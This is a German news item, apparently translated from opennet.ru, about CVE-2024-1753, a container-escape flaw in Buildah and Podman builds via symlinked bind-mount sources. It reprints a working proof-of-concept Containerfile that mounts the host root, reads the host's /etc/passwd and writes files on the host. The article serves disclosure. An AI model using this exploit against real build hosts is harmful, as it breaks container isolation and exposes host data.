Eine Schwachstelle in Buildah und Podman, die eine Umgehung der Container-Isolierung ermöglicht.

In den Paketen Buildah und Podman wurde eine Schwachstelle (CVE-2024-1753) entdeckt, die vollen Zugriff auf das Dateisystem der Host-Umgebung wÀhrend des Container-Bauprozesses mit Root-Rechten ermöglicht. In Systemen mit aktiviertem SELinux ist der Zugriff auf das Host-Dateisystem auf den Nur-Lese-Modus beschrÀnkt. Ein Patch zur Behebung ist vor kurzem in den Buildah-Code aufgenommen worden.

Die Schwachstelle entsteht dadurch, dass beim Einbinden von Dateisystemteilen ĂŒber den Befehl „mount —bind“ wĂ€hrend des Bauvorgangs im RUN-Stadium das Argument mit dem Quellverzeichnis (Parameter „source=”) nicht auf seine Existenz im Root-Dateisystem ĂŒberprĂŒft wird. Eine vom Angreifer vorbereitete Containerfile-Konfigurationsdatei kann ein Container-Image verwenden, in dem das Quellverzeichnis fĂŒr das Einbinden als symbolischer Link auf das Root-Dateisystem dargestellt wird. In diesem Fall fĂŒhrt die Einbindungsoperation dazu, dass das Root-Dateisystem der Host-Umgebung innerhalb des Containers gemountet wird, was den vollstĂ€ndigen Zugriff auf das Dateisystem der Host-Umgebung im RUN-Stadium ermöglicht und einen Austritt aus dem Container wĂ€hrend des Baus mit den Befehlen „buildah build“ oder „podman build“ organisiert.

Ein Beispiel fĂŒr eine bösartige Containerfile, deren Bau mit dem Befehl „podman build -f ~/Containerfile .“ dazu fĂŒhren wird, dass der Inhalt von /etc/passwd angezeigt wird und die Dateien /BIND_BREAKEOUT und /etc/BIND_BREAKOUT2 in der Host-Umgebung erstellt werden: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo „ls container root“ RUN ls -l / RUN echo „Mit Exploit zeige Host-Root, nicht den Container-Root, und erstelle /BIND_BREAKOUT in / auf dem Host“ RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo „Mit Exploit zeige Host /etc/passwd, nicht den des Containers, und erstelle /BIND_BREAKOUT2 in /etc auf dem Host“ RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Quelle: opennet.ru

Erwerben Sie zuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz, VPS VDS-Server đŸ”„ Kaufen Sie zuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz, VPS VDS-Server | ProHoster